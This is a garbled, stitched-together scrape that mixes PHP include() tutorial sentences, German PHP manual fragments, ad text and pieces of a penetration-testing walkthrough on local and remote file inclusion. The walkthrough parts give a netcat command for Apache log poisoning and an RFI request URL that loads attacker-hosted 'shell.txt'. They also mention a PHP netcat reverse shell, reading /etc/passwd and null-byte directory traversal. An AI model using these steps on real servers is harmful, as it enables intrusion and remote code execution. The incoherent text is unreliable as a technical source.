A developer can include the content of one PHP file into another PHP file … To do this, let us create a file called shell.txt with the contents shown in the figure below. This technique allows you to include files off of your own machine or remote host. zu. nc 192.168.1.111 80. aktiviert sind (was sie in der Standard-Konfiguration sind), kann die 5) Train any time, on any device, Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. For this example, I'm going to skip the testing stages and just include my PHP code for a Netcat reverse shell. In our first example, we will be looking at a local file inclusion (LFI). Don't Miss: Netcat, the Swiss Army Knife of Hacking Tools. Wenn include innerhalb einer Funktion aufgerufen wird, verhält sich der Find it by: echo getcwd(); If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. die geparst werden, bevor die Einbindung durchgeführt wird. We have to eliminate the possibility of accessing files on remote servers and to disable local includes. ../ is used to traverse one directory up and display the contents of db.txt. Einklappen If there is any problem in loading a file then the include() function generates a warning but the script will continue execution. This is not what Apache expects from an HTTP request, and the server sends back error 400 but logs the request in /var/log/apache2/access.log. This is because the application is trying to load “shell.txt” to the vulnerable page first and then appending the extension “.php” and then requesting the following file from the attacker’s server. When the PHP interpreter hits our code to execute ls on the system, it executes it. Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script. First, I will test to see if I can read a common file such as /etc/passwd. We provide free online tutorials on the latest web technologies. aufruft. http://192.168.56.101/webapps/fileinclusion/rfi/index.php?page=http://192.168.56.103/shell.txt. The attacker can use directory traversal sequences and NULL byte to gain access to arbitrary local file. There are two PHP functions which can be used to included one PHP file into another PHP file. The vulnerable code for both local file inclusion as well as remote file inclusion remains the same. We could get the same result with shell.PHP or shell.log. This depends on your PHP Server configuration. We can see it in the server logs as shown in the figure below.
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